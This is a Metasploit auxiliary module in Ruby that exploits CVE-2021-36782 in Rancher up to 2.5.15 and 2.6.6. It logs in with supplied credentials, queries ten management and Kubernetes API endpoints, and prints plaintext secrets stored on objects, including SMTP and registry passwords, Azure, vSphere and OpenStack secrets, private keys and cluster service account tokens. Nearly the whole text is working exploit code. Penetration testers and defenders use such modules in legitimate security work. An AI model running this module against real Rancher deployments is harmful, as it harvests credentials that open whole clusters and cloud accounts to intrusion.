Rancher Authenticated API Credential Exposure

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Rancher Authenticated API Credential Exposure',  
'Description' => %q{  
An issue was discovered in Rancher versions up to and including  
2.5.15 and 2.6.6 where sensitive fields, like passwords, API keys  
and Ranchers service account token (used to provision clusters),  
were stored in plaintext directly on Kubernetes objects like Clusters,  
for example cluster.management.cattle.io. Anyone with read access to  
those objects in the Kubernetes API could retrieve the plaintext  
version of those sensitive data.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'h00die', # msf module  
'Florian Struck', # discovery  
'Marco Stuurman' # discovery  
],  
'References' => [  
[ 'URL', 'https://github.com/advisories/GHSA-g7j7-h4q8-8w2f'],  
[ 'URL', 'https://github.com/fe-ax/tf-cve-2021-36782'],  
[ 'URL', 'https://fe.ax/cve-2021-36782/'],  
[ 'CVE', '2021-36782']  
],  
'DisclosureDate' => '2022-08-18',  
'DefaultOptions' => {  
'RPORT' => 443,  
'SSL' => true  
},  
'Notes' => {  
'Stability' => [],  
'Reliability' => [],  
'SideEffects' => []  
}  
)  
)  
register_options(  
[  
OptString.new('USERNAME', [ true, 'User to login with']),  
OptString.new('PASSWORD', [ true, 'Password to login with']),  
OptString.new('TARGETURI', [ true, 'The URI of Rancher instance', '/'])  
]  
)  
end  
  
def username  
datastore['USERNAME']  
end  
  
def password  
datastore['PASSWORD']  
end  
  
def rancher?  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'dashboard/'),  
'keep_cookies' => true  
})  
return false unless res&.code == 200  
  
html = res.get_html_document  
title = html.at('title').text  
title == 'dashboard' # this is a VERY weak check  
end  
  
def login  
# get our cookie first with CSRF token  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, 'v1', 'management.cattle.io.setting'),  
'keep_cookies' => true  
})  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") unless res.code == 200  
  
json_post_data = JSON.pretty_generate(  
{  
'description' => 'UI session',  
'responseType' => 'cookie',  
'username' => username,  
'password' => password  
}  
)  
fail_with(Failure::UnexpectedReply, "#{peer} - CSRF token not found in cookie") unless res.get_cookies.to_s =~ /CSRF=(\w*);/  
  
csrf = ::Regexp.last_match(1)  
  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, 'v3-public', 'localProviders', 'local'),  
'keep_cookies' => true,  
'method' => 'POST',  
'vars_get' => {  
'action' => 'login'  
},  
'headers' => {  
'accept' => 'application/json',  
'X-Api-Csrf' => csrf  
},  
'ctype' => 'application/json',  
'data' => json_post_data  
)  
fail_with(Failure::Unreachable, "#{peer} - Could not connect to web service - no response") if res.nil?  
fail_with(Failure::NoAccess, "#{peer} - Login failed, check credentials") if res.code == 401  
end  
  
def check  
return Exploit::CheckCode::Unknown("#{peer} - Could not connect to web service, or does not seem to be a rancher website") unless rancher?  
  
Exploit::CheckCode::Detected('Seems to be rancher, but unable to determine version')  
end  
  
def run  
vprint_status('Attempting login')  
login  
vprint_good('Login successful, querying APIs')  
[  
'/v1/management.cattle.io.catalogs',  
'/v1/management.cattle.io.clusters',  
'/v1/management.cattle.io.clustertemplates',  
'/v1/management.cattle.io.notifiers',  
'/v1/project.cattle.io.sourcecodeproviderconfig',  
'/k8s/clusters/local/apis/management.cattle.io/v3/catalogs',  
'/k8s/clusters/local/apis/management.cattle.io/v3/clusters',  
'/k8s/clusters/local/apis/management.cattle.io/v3/clustertemplates',  
'/k8s/clusters/local/apis/management.cattle.io/v3/notifiers',  
'/k8s/clusters/local/apis/project.cattle.io/v3/sourcecodeproviderconfigs'  
].each do |api_endpoint|  
vprint_status("Querying #{api_endpoint}")  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path, api_endpoint),  
'headers' => {  
'accept' => 'application/json'  
}  
)  
if res.nil?  
vprint_error("No response received from #{api_endpoint}")  
next  
end  
next unless res.code == 200  
  
json_body = res.get_json_document  
next unless json_body.key? 'data'  
  
json_body['data'].each do |data|  
# list taken directly from CVE writeup, however this isn't how the API presents its so we fix it later  
[  
'Notifier.SMTPConfig.Password',  
'Notifier.WechatConfig.Secret',  
'Notifier.DingtalkConfig.Secret',  
'Catalog.Spec.Password',  
'SourceCodeProviderConfig.GithubPipelineConfig.ClientSecret',  
'SourceCodeProviderConfig.GitlabPipelineConfig.ClientSecret',  
'SourceCodeProviderConfig.BitbucketCloudPipelineConfig.ClientSecret',  
'SourceCodeProviderConfig.BitbucketServerPipelineConfig.PrivateKey',  
'Cluster.Spec.RancherKubernetesEngineConfig.BackupConfig.S3BackupConfig.SecretKey',  
'Cluster.Spec.RancherKubernetesEngineConfig.PrivateRegistries.Password',  
'Cluster.Spec.RancherKubernetesEngineConfig.Network.WeaveNetworkProvider.Password',  
'Cluster.Spec.RancherKubernetesEngineConfig.CloudProvider.VsphereCloudProvider.Global.Password',  
'Cluster.Spec.RancherKubernetesEngineConfig.CloudProvider.VsphereCloudProvider.VirtualCenter.Password',  
'Cluster.Spec.RancherKubernetesEngineConfig.CloudProvider.OpenstackCloudProvider.Global.Password',  
'Cluster.Spec.RancherKubernetesEngineConfig.CloudProvider.AzureCloudProvider.AADClientSecret',  
'Cluster.Spec.RancherKubernetesEngineConfig.CloudProvider.AzureCloudProvider.AADClientCertPassword',  
'Cluster.Status.ServiceAccountToken',  
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.PrivateRegistries.Password',  
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.Network.WeaveNetworkProvider.Password',  
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.CloudProvider.VsphereCloudProvider.Global.Password',  
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.CloudProvider.VsphereCloudProvider.VirtualCenter.Password',  
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.CloudProvider.OpenstackCloudProvider.Global.Password',  
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.CloudProvider.AzureCloudProvider.AADClientSecret',  
'ClusterTemplate.Spec.ClusterConfig.RancherKubernetesEngineConfig.CloudProvider.AzureCloudProvider.AADClientCertPassword'  
].each do |leaky_key|  
leaky_key_fixed = leaky_key.split('.')[1..] # remove first item,  
leaky_key_fixed = leaky_key_fixed.map { |item| item[0].downcase + item[1..] } # downcase first letter in each word  
print_good("Found leaked key #{leaky_key}: #{data.dig(*leaky_key_fixed)}") if data.dig(*leaky_key_fixed)  
end  
end  
end  
end  
end  
`